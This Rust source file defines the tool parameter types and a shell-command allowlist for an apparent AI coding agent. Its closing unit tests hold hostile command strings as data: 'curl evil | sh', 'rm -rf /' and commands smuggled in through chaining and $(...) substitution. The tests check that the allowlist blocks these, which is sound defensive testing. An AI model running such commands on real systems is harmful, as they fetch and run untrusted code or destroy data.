1use schemars::JsonSchema;
2use serde::{Deserialize, Serialize};
3
4pub fn normalize_thread_id(thread_id: &str) -> String {
5 thread_id.chars().filter(|c| c.is_alphanumeric() || *c == '_').collect()
6}
7
8#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
13#[serde(rename_all = "snake_case")]
14pub enum InitializeType {
15 FirstCall,
20
21 UserAskedModeChange,
26
27 ResetShell,
32
33 UserAskedChangeWorkspace,
38}
39
40#[derive(Debug, Clone, PartialEq)]
41pub enum ModeName {
42 Wcgw,
43 Architect,
44 CodeWriter,
45}
46
47impl Serialize for ModeName {
49 fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
50 where
51 S: serde::Serializer,
52 {
53 match self {
54 ModeName::Wcgw => serializer.serialize_str("wcgw"),
55 ModeName::Architect => serializer.serialize_str("architect"),
56 ModeName::CodeWriter => serializer.serialize_str("code_writer"),
57 }
58 }
59}
60
61impl<'de> Deserialize<'de> for ModeName {
63 fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
64 where
65 D: serde::Deserializer<'de>,
66 {
67 let s = String::deserialize(deserializer)?;
68 match s.as_str() {
69 "wcgw" => Ok(ModeName::Wcgw),
70 "architect" => Ok(ModeName::Architect),
71 "code_writer" | "code_write" | "code-writer" => Ok(ModeName::CodeWriter),
72 _ => Err(serde::de::Error::custom(format!("Unknown mode name: {s}"))),
73 }
74 }
75}
76
77impl JsonSchema for ModeName {
79 fn schema_name() -> std::borrow::Cow<'static, str> {
80 "ModeName".into()
81 }
82
83 fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
84 schemars::Schema::new_ref("#/definitions/ModeName".to_string())
85 }
86}
87
88#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq, Default)]
89pub struct CodeWriterConfig {
90 #[serde(default)]
91 pub allowed_globs: AllowedGlobs,
92 #[serde(default)]
93 pub allowed_commands: AllowedCommands,
94}
95
96impl CodeWriterConfig {
97 pub fn update_relative_globs(&mut self, workspace_root: &str) {
98 if let AllowedGlobs::List(globs) = &self.allowed_globs {
100 let updated_globs = globs
101 .iter()
102 .map(|glob| {
103 if std::path::Path::new(glob).is_absolute() {
104 glob.clone()
105 } else {
106 format!("{workspace_root}/{glob}")
107 }
108 })
109 .collect();
110
111 self.allowed_globs = AllowedGlobs::List(updated_globs);
112 }
113 }
114}
115
116#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
117#[serde(untagged)]
118pub enum AllowedGlobs {
119 All(String),
120 List(Vec<String>),
121}
122
123impl Default for AllowedGlobs {
124 fn default() -> Self {
125 AllowedGlobs::All("all".to_string())
126 }
127}
128
129impl AllowedGlobs {
130 pub fn normalize(&mut self) {
133 if let AllowedGlobs::List(items) = self {
134 if items.len() == 1 && items[0] == "all" {
135 *self = AllowedGlobs::All("all".to_string());
136 }
137 }
138 }
139
140 #[allow(dead_code)]
141 pub fn is_allowed(&self, path: &str) -> bool {
142 match self {
143 AllowedGlobs::All(s) if s == "all" => true,
144 AllowedGlobs::List(globs) => globs.iter().any(|g| match glob::Pattern::new(g) {
145 Ok(pattern) => pattern.matches(path),
146 Err(_) => false,
147 }),
148 AllowedGlobs::All(_) => false,
149 }
150 }
151}
152
153#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
154#[serde(untagged)]
155pub enum AllowedCommands {
156 All(String),
157 List(Vec<String>),
158}
159
160impl Default for AllowedCommands {
161 fn default() -> Self {
162 AllowedCommands::All("all".to_string())
163 }
164}
165
166impl AllowedCommands {
167 pub fn normalize(&mut self) {
169 if let AllowedCommands::List(items) = self {
170 if items.len() == 1 && items[0] == "all" {
171 *self = AllowedCommands::All("all".to_string());
172 }
173 }
174 }
175
176 pub fn is_allowed(&self, command_line: &str) -> bool {
177 match self {
178 AllowedCommands::All(s) if s == "all" => true,
179 AllowedCommands::All(_) => false,
180 AllowedCommands::List(commands) => {
181 match crate::utils::bash_parser::extract_command_texts(command_line) {
187 Ok(cmds) if !cmds.is_empty() => cmds
188 .iter()
189 .all(|cmd| commands.iter().any(|allowed| command_has_prefix(cmd, allowed))),
190 _ => false,
191 }
192 }
193 }
194 }
195}
196
197fn command_has_prefix(cmd: &str, allowed: &str) -> bool {
201 let cmd = cmd.trim();
202 let allowed = allowed.trim();
203 if allowed.is_empty() {
204 return false;
205 }
206 cmd == allowed
207 || cmd.strip_prefix(allowed).is_some_and(|rest| rest.starts_with(char::is_whitespace))
208}
209
210#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone)]
215pub struct Initialize {
216 #[serde(rename = "type")]
223 #[serde(default = "default_init_type")]
224 pub init_type: InitializeType,
225
226 pub any_workspace_path: String,
233
234 #[serde(default)]
239 pub initial_files_to_read: Vec<String>,
240
241 #[serde(default = "String::new")]
246 #[serde(deserialize_with = "deserialize_string_or_null")]
247 pub task_id_to_resume: String,
248
249 #[serde(default = "default_mode_name")]
255 pub mode_name: ModeName,
256
257 #[serde(default)]
262 #[serde(deserialize_with = "deserialize_string_or_null")]
263 pub thread_id: String,
264
265 #[serde(default)]
270 #[serde(deserialize_with = "deserialize_code_writer_config")]
271 pub code_writer_config: Option<CodeWriterConfig>,
272}
273
274fn deserialize_string_or_null<'de, D>(deserializer: D) -> Result<String, D::Error>
276where
277 D: serde::Deserializer<'de>,
278{
279 let result = serde_json::Value::deserialize(deserializer)?;
281
282 match result {
283 serde_json::Value::Null => Ok(String::new()),
285 serde_json::Value::String(s) => {
287 if s == "null" {
289 Ok(String::new())
290 } else {
291 Ok(s)
292 }
293 }
294 _ => match serde_json::to_string(&result) {
296 Ok(s) => Ok(s),
297 Err(_) => Ok(String::new()),
298 },
299 }
300}
301
302fn deserialize_code_writer_config<'de, D>(
304 deserializer: D,
305) -> Result<Option<CodeWriterConfig>, D::Error>
306where
307 D: serde::Deserializer<'de>,
308{
309 let value = serde_json::Value::deserialize(deserializer)?;
311
312 match value {
313 serde_json::Value::Null => Ok(None),
315 serde_json::Value::String(s) if s == "null" => Ok(None),
316 _ => {
318 match serde_json::from_value::<CodeWriterConfig>(value.clone()) {
319 Ok(config) => {
320 tracing::debug!("Successfully parsed CodeWriterConfig: {:?}", config);
321 Ok(Some(config))
322 }
323 Err(e) => {
324 tracing::error!("Failed to parse CodeWriterConfig: {}. Value: {}", e, value);
326 Ok(None) }
328 }
329 }
330 }
331}
332
333fn default_mode_name() -> ModeName {
335 ModeName::Wcgw
336}
337
338fn default_init_type() -> InitializeType {
340 InitializeType::FirstCall
341}
342
343#[derive(Debug, Clone, Copy, PartialEq)]
345pub enum Modes {
346 Wcgw,
347 Architect,
348 CodeWriter,
349}
350
351impl std::fmt::Display for Modes {
352 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
353 match self {
354 Modes::Wcgw => write!(f, "wcgw"),
355 Modes::Architect => write!(f, "architect"),
356 Modes::CodeWriter => write!(f, "code_writer"),
357 }
358 }
359}
360
361impl JsonSchema for Modes {
363 fn schema_name() -> std::borrow::Cow<'static, str> {
364 "Modes".into()
365 }
366
367 fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
368 schemars::Schema::new_ref("#/definitions/Modes".to_string())
369 }
370}
371
372#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, JsonSchema)]
375pub enum SpecialKey {
376 Enter,
377 #[serde(rename = "Key-up")]
378 KeyUp,
379 #[serde(rename = "Key-down")]
380 KeyDown,
381 #[serde(rename = "Key-left")]
382 KeyLeft,
383 #[serde(rename = "Key-right")]
384 KeyRight,
385 #[serde(rename = "Ctrl-c")]
386 CtrlC,
387 #[serde(rename = "Ctrl-d")]
388 CtrlD,
389 #[serde(rename = "Ctrl-z")]
390 CtrlZ,
391}
392
393#[derive(Debug, Clone, Serialize, JsonSchema)]
398pub struct ReadFiles {
399 pub file_paths: Vec<String>,
403
404 #[serde(default)]
407 pub thread_id: String,
408
409 #[serde(skip)]
411 #[schemars(skip)]
412 pub start_line_nums: Vec<Option<usize>>,
413
414 #[serde(skip)]
415 #[schemars(skip)]
416 pub end_line_nums: Vec<Option<usize>>,
417}
418
419impl<'de> Deserialize<'de> for ReadFiles {
421 fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
422 where
423 D: serde::Deserializer<'de>,
424 {
425 #[derive(Deserialize)]
426 struct ReadFilesHelper {
427 file_paths: Option<Vec<String>>,
428 #[serde(default)]
429 thread_id: Option<String>,
430 }
431
432 let input = serde_json::Value::deserialize(deserializer)?;
433
434 if !input.is_object() {
435 if input.is_null() {
436 return Err(serde::de::Error::custom("Cannot convert null to ReadFiles object."));
437 }
438 return Err(serde::de::Error::custom(format!("Expected object, got {input}")));
439 }
440
441 let helper: ReadFilesHelper = serde_json::from_value(input.clone())
442 .map_err(|e| serde::de::Error::custom(format!("Failed to parse ReadFiles: {e}")))?;
443
444 let thread_id = helper.thread_id.unwrap_or_default();
445 let file_paths = match helper.file_paths {
446 Some(paths) if !paths.is_empty() => paths,
447 Some(_) => return Err(serde::de::Error::custom("file_paths must not be empty.")),
448 None => return Err(serde::de::Error::custom("file_paths is required.")),
449 };
450
451 let mut clean_file_paths = Vec::with_capacity(file_paths.len());
453 let mut start_line_nums = Vec::with_capacity(file_paths.len());
454 let mut end_line_nums = Vec::with_capacity(file_paths.len());
455
456 for path in file_paths {
457 let (clean_path, start, end) = parse_file_path_with_line_range(&path);
458 clean_file_paths.push(clean_path);
459 start_line_nums.push(start);
460 end_line_nums.push(end);
461 }
462
463 Ok(ReadFiles { file_paths: clean_file_paths, thread_id, start_line_nums, end_line_nums })
464 }
465}
466
467fn parse_file_path_with_line_range(path: &str) -> (String, Option<usize>, Option<usize>) {
468 let Some((potential_path, line_spec)) = path.rsplit_once(':') else {
469 return (path.to_string(), None, None);
470 };
471
472 let Some((start, end)) = parse_line_spec(line_spec) else {
473 return (path.to_string(), None, None);
474 };
475
476 (potential_path.to_string(), start, end)
477}
478
479fn parse_line_spec(line_spec: &str) -> Option<(Option<usize>, Option<usize>)> {
480 if line_spec.chars().all(|c| c.is_ascii_digit()) {
481 return line_spec.parse().ok().map(|line| (Some(line), None));
482 }
483
484 let (start, end) = line_spec.split_once('-')?;
485
486 if start.is_empty() && !end.is_empty() && end.chars().all(|c| c.is_ascii_digit()) {
487 return end.parse().ok().map(|line| (None, Some(line)));
488 }
489
490 if !start.is_empty()
491 && start.chars().all(|c| c.is_ascii_digit())
492 && (end.is_empty() || end.chars().all(|c| c.is_ascii_digit()))
493 {
494 let start = start.parse().ok()?;
495 let end = if end.is_empty() { None } else { Some(end.parse().ok()?) };
496 return Some((Some(start), end));
497 }
498
499 None
500}
501
502impl ReadFiles {
503 pub fn show_line_numbers(&self) -> bool {
505 true
506 }
507
508 pub fn get_clean_path(&self, index: usize) -> String {
510 parse_file_path_with_line_range(&self.file_paths[index]).0
511 }
512}
513
514fn default_true() -> bool {
516 true
517}
518
519#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
521#[serde(tag = "type", rename_all = "snake_case")]
522pub enum BashCommandAction {
523 Command {
525 command: String,
526 #[serde(default)]
527 is_background: bool,
528 #[serde(default)]
534 allow_multi: bool,
535 },
536
537 StatusCheck {
545 #[serde(default = "default_true")]
546 status_check: bool,
547 bg_command_id: Option<String>,
548 #[serde(default)]
549 scrollback_lines: Option<usize>,
550 #[serde(default)]
551 verbose: bool,
552 },
553
554 SendText {
558 send_text: String,
559 bg_command_id: Option<String>,
560 #[serde(default)]
561 submit: bool,
562 },
563
564 SendSpecials {
567 send_specials: Vec<SpecialKey>,
568 bg_command_id: Option<String>,
569 #[serde(default)]
570 submit: bool,
571 },
572
573 SendAscii {
576 send_ascii: Vec<u8>,
577 bg_command_id: Option<String>,
578 #[serde(default)]
579 submit: bool,
580 },
581}
582
583#[derive(Debug, Clone, Serialize, JsonSchema)]
585pub struct BashCommand {
586 pub action_json: BashCommandAction,
588
589 #[serde(default)]
591 #[serde(skip_serializing_if = "Option::is_none")]
592 pub wait_for_seconds: Option<f32>,
593
594 #[serde(default)]
596 pub thread_id: String,
597}
598
599impl<'de> Deserialize<'de> for BashCommand {
601 fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
602 where
603 D: serde::Deserializer<'de>,
604 {
605 let input = serde_json::Value::deserialize(deserializer)?;
606 let serde_json::Value::Object(mut map) = input else {
607 return Err(serde::de::Error::custom("BashCommand parameters must be an object."));
608 };
609
610 let wait_for_seconds = map
611 .remove("wait_for_seconds")
612 .map(serde_json::from_value)
613 .transpose()
614 .map_err(serde::de::Error::custom)?;
615 let thread_id = map
616 .remove("thread_id")
617 .map(thread_id_from_value)
618 .transpose()
619 .map_err(serde::de::Error::custom)?
620 .unwrap_or_default();
621 let action_json_value = map.remove("action_json").unwrap_or(serde_json::Value::Object(map));
622
623 let action_json = match action_json_value {
625 serde_json::Value::String(s) => {
626 let sanitized = s.replace('\n', " ");
629 match serde_json::from_str(&sanitized) {
630 Ok(json) => normalize_action_json(json),
631 Err(e) => {
632 tracing::warn!(
635 "Failed to parse action_json as JSON, trying fallback: {}",
636 e
637 );
638
639 if s.contains("command") && s.contains('{') && s.contains('}') {
641 tracing::debug!("JSON parse error on: {}", s);
645
646 let re_sanitized = s
648 .replace('\n', "\\n") .replace('\r', "\\r") .replace('\t', "\\t"); let re_sanitized = if !s.contains('"') && s.contains(':') {
654 tracing::debug!("Attempting to fix unquoted JSON keys/values");
656 re_sanitized
657 } else {
658 re_sanitized
659 };
660
661 match serde_json::from_str(&re_sanitized) {
662 Ok(json) => normalize_action_json(json),
663 Err(err) => {
664 tracing::error!("Secondary JSON parse error: {}", err);
666 serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
669 }
670 }
671 } else {
672 tracing::info!("Treating as simple command: {}", s);
675 serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
676 }
677 }
678 }
679 }
680 value => normalize_action_json(value),
683 };
684
685 let mut action: BashCommandAction =
687 serde_json::from_value(action_json.clone()).map_err(|e| {
688tracing::error!(
690 "Failed to deserialize action_json to BashCommandAction: {}\nProblematic JSON: {}",
691 e,
692 action_json
693);
694
695let err_str = e.to_string();
697if err_str.contains("unexpected token") || err_str.contains("Unexpected token") {
698 return serde::de::Error::custom(format!(
699 "JSON syntax error: {e}. Please check your JSON structure. Each field name should be in quotes, and string values should be in quotes."
700 ));
701}
702
703serde::de::Error::custom(format!("Invalid action_json: {e}. Please ensure your JSON is properly formatted."))
704 })?;
705
706 Ok(BashCommand {
708 action_json: action,
709 wait_for_seconds,
710 thread_id: normalize_thread_id(&thread_id),
711 })
712 }
713}
714
715fn thread_id_from_value(value: serde_json::Value) -> std::result::Result<String, String> {
716 match value {
717 serde_json::Value::Null => Ok(String::new()),
718 serde_json::Value::String(value) => Ok(value),
719 other => Err(format!("thread_id must be a string or null, got {other}")),
720 }
721}
722
723fn normalize_action_json(mut value: serde_json::Value) -> serde_json::Value {
724 let serde_json::Value::Object(map) = &mut value else {
725 return value;
726 };
727
728 if let Some(serde_json::Value::String(command)) = map.get_mut("command") {
729 *command = sanitize_shell_string(command);
730 }
731
732 if map.contains_key("type") {
733 return value;
734 }
735
736 let inferred_type = if map.contains_key("command") {
737 Some("command")
738 } else if map.contains_key("status_check") {
739 Some("status_check")
740 } else if map.contains_key("send_text") {
741 Some("send_text")
742 } else if map.contains_key("send_specials") {
743 Some("send_specials")
744 } else if map.contains_key("send_ascii") {
745 Some("send_ascii")
746 } else {
747 None
748 };
749
750 if let Some(action_type) = inferred_type {
751 map.insert("type".to_string(), serde_json::Value::String(action_type.to_string()));
752 }
753
754 value
755}
756
757fn sanitize_shell_string(value: &str) -> String {
758 value.replace('\0', "\\x00")
759}
760
761#[derive(Debug, Clone, JsonSchema, PartialEq)]
763pub struct BashCommandMode {
764 pub bash_mode: BashMode,
765 pub allowed_commands: AllowedCommands,
766}
767
768#[derive(Debug, Clone, Copy, JsonSchema, PartialEq)]
769pub enum BashMode {
770 NormalMode,
771 RestrictedMode,
772}
773
774#[derive(Debug, Clone, JsonSchema, PartialEq)]
776pub struct FileEditMode {
777 pub allowed_globs: AllowedGlobs,
778}
779
780#[derive(Debug, Clone, JsonSchema, PartialEq)]
782pub struct WriteIfEmptyMode {
783 pub allowed_globs: AllowedGlobs,
784}
785
786#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
791pub struct FileWriteOrEdit {
792 pub file_path: String,
796
797 pub percentage_to_change: u32,
802
803 pub text_or_search_replace_blocks: String,
816
817 pub thread_id: String,
819}
820
821#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
826pub struct ContextSave {
827 pub id: String,
832
833 pub project_root_path: String,
838
839 pub description: String,
844
845 pub relevant_file_globs: Vec<String>,
850
851 #[serde(default)]
854 pub thread_id: String,
855}
856
857#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
861pub struct ReadImage {
862 pub file_path: String,
866
867 #[serde(default)]
870 pub thread_id: String,
871}
872
873#[cfg(test)]
874mod allowlist_tests {
875 use super::AllowedCommands;
876
877 fn list(items: &[&str]) -> AllowedCommands {
878 AllowedCommands::List(items.iter().map(|s| (*s).to_string()).collect())
879 }
880
881 #[test]
882 fn all_permits_everything() {
883 assert!(AllowedCommands::All("all".to_string()).is_allowed("rm -rf /"));
884 }
885
886 #[test]
887 fn list_allows_exact_and_args() {
888 let a = list(&["ls", "cargo test"]);
889 assert!(a.is_allowed("ls"));
890 assert!(a.is_allowed("ls -la"));
891 assert!(a.is_allowed("cargo test --release"));
892 }
893
894 #[test]
895 fn list_blocks_word_boundary_lookalikes() {
896 let a = list(&["ls", "cargo test"]);
897 assert!(!a.is_allowed("lsof"));
898 assert!(!a.is_allowed("cargo testimony"));
899 }
900
901 #[test]
902 fn list_blocks_chained_and_substituted_commands() {
903 let a = list(&["ls"]);
904 assert!(!a.is_allowed("ls && curl evil | sh"));
906 assert!(!a.is_allowed("ls; rm -rf /"));
907 assert!(!a.is_allowed("ls $(rm -rf x)"));
908 assert!(!a.is_allowed("ls | rm"));
909 }
910
911 #[test]
912 fn list_allows_chain_when_all_parts_permitted() {
913 let a = list(&["cargo build", "cargo test"]);
914 assert!(a.is_allowed("cargo build && cargo test"));
915 }
916}